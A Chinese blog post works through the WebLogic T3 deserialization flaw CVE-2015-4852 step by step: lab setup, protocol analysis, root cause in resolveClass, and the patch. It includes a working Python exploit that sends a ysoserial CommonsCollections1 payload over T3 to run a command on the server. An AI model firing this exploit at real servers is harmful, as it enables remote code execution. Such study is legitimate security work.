Weblogic学习:T3反序列化

前言

之前遇到Weblogic就是工具一把梭,现在来详细分析下Weblogic相关漏洞的原理。

weblogic反序列化主要有XMLDecoder和T3协议。先从T3协议开始,主要是CVE-2015-4852这个漏洞

环境搭建

构建镜像

下载jdk压缩包和weblogic,然后把下载好的jdk文件放在该项目的jdks文件夹下,weblogic的源码放在weblogics文件夹下。

执行命令

1
2
3
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

WcuGfx.png

搭建成功

WcmDDH.png

远程调试

需要把一些weblogic的依赖Jar包给导出来才能进行远程调试。

1
2
3
4
5
6
7
mkdir ./middleware

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/

docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

用IDEA打开wlserver文件夹,然后导入coherence_3.7\lib和modules

WcmYU1.png

再把 server/lib 作为依赖进行导入

WcmJER.png

在配置页面添加Remote并修改端口

Wcm8b9.png

T3协议

T3协议概述

RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。以下是T3协议的特点:

  1. 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。
  2. 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

T3协议结构

T3协议里包含请求包头和请求的主体这两部分内容。

请求包头

请求包的头如下

1
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

发送一个请求包的头,看看会返回什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket

def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())

if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001

T3Test(ip,port)

返回内容中包含了版本信息

WcmW28.png

用wireshark抓包

Wcm2PP.png

然后追踪TCP流,可以看到在HELO后面会返回一个版本号

Wcm6UI.png

请求主体

T3协议中传输的都是序列化数据,分为七个部分,第一部分就是协议头,也就是

1
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n

借用两张图来描述一下T3协议包的主要内容

WcnkRK.png
WcnYLQ.jpg

第二到第七部分内容,开头都是ac ed 00 05,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式

  1. 将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
  2. 将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

漏洞复现

复现

这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii

def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()

def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)

if __name__ == "__main__":
ip = "192.168.111.132"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)

查看一下容器里的/tmp目录,发现成功创建了success文件

1
docker exec  weblogic1036jdk7u21 ls tmp/

Wcmc5t.png

payload数据包分析

wireshark添加过滤器

1
tcp.port == 7001

WcmfxS.png

第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是payload数据包

Wcm4Kg.png

来详细看一下第三个数据包,主要有四个组成部分,如下

  1. 数据包长度
  2. T3协议头
  3. 反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05
  4. 数据

Wcm5rQ.png

再回来看看poc,这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。

  • 数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去
  • T3协议头是固定的,直接硬编码进去就行
  • 反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial生成的序列化数据

WcmIbj.png

漏洞分析

CVE-2015-4852

1.weblogic.rjvm.InboundMsgAbbrev#readObject

调用了内部类InboundMsgAbbrev.ServerChannelInputStream的readObject方法

Wcmrbd.png

2.InboundMsgAbbrev.ServerChannelInputStream#readObject

ServerChannelInputStream继承自ObjectInputStream类,这里重写了resolveClass,但是实际上调用的还是父类ObjectInputStream的resolveClass方法,等于没有做任何防御,导致漏洞的出现。

WcmTVs.png

可以在导入的依赖中看到这个版本自带CommonCollections3.2.0,这样反序列化点和gadget就都有了。利用ysoserial生成CommonsCollections1的payload然后放到T3协议数据包力就可以了

Wcm7an.png

那么现在有一个问题,为什么说resolveClass可以防御Java反序列化?

resolveClass作用

先从resolveClass的作用说起。

resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。

WcmvMF.png

因为对应的Class对象是在resolveClass这里返回的,所以这里是防御反序列化的关键。重写resolveClass然后再里面添加一个类的黑名单,发现类在黑名单中就抛出错误,这样就无法获取恶意的类的Class对象。此方法一定程度上可以防御反序列化(虽然黑名单过滤效果不好)

WcmO2T.png

weblogic进行反序列化的执行流程图

WcmyVA.png

借用的反序列化攻击时序图

Wcmxr4.png

CVE-2015-4852修复

参考这篇文章中的补丁:http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

Weblogic对CVE-2015-4852的修复措施是在resloveClass里加上 ClassFilter.isBlackListed黑名单过滤

WcmqP0.png

黑名单的内容,可以看到黑名单过滤了CommonCollections

WcmzqJ.png

还参考这篇文章中的修复方式:https://www.anquanke.com/post/id/226070#h2-15

不局限于重写resolveClass

开放在外网的情况下,还可以采用web代理和负载均衡。

  1. web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。
  2. 负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

总结

主要学习了以下内容

  1. T3协议的组成和在Weblogic反序列化中的利用
  2. CVE-2015-4852的产生原因及修复,以及resolveClass在防御反序列化方面的应用

对于Weblogic解析T3协议的具体过程还有待分析

参考链接

https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704

http://wjlshare.com/archives/1573

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://www.anquanke.com/post/id/226070#h3-13

http://redteam.today/2020/02/14/Java%E5%8E%9F%E7%94%9F%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%8E%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%BB%A3%E7%A0%81%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90/

https://github.com/Cryin/Paper/blob/master/%E6%B5%85%E8%B0%88Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88.md

https://www.cnblogs.com/0x7e/p/14529949.html